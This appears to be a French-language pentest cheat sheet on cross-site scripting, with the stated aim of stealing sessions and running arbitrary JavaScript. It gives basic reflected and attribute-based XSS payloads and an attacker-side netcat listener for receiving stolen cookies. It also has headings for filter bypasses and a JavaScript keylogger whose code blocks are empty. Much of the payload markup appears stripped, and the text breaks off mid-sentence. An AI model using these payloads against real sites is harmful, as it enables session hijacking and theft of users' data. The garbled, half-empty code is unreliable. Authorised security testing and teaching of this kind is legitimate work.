--- title: "Cross-Site Scripting (XSS)" domain: security subdomain: pentest phase: 04-exploitation type: snippet tags: [xss, web, exploitation, pentest, javascript] difficulty: intermediate status: stable updated: "Sun May 10 2026 00:00:00 GMT+0000 (Coordinated Universal Time)" --- ## Objectifs Exploiter des vulnérabilités XSS pour voler des sessions, exécuter du JS arbitraire ou pivoter vers d'autres attaques. ## Payloads de base ```bash vars=TARGET # Reflected XSS basique "> '"> # Sans parenthèses # Dans les attributs " onmouseover="alert(1) javascript:alert(1) ``` ## Vol de cookies (session hijacking) ```bash vars=TARGET # Envoyer cookie vers serveur attaquant # Serveur de réception (attaquant) nc -lvnp 8080 ``` ## Bypass de filtres ```bash vars=TARGET # Balises alternatives
# Encodage base64 # Mixte majuscules ``` ## Keylogger JS ```bash vars=TARGET # Capturer les frappes clavier ``` ## Pièges fréquents - **HttpOnly** : cookie inaccessible en JS — XSS reste dangereux pour CSRF, redirect - **CSP stricte** : bloque `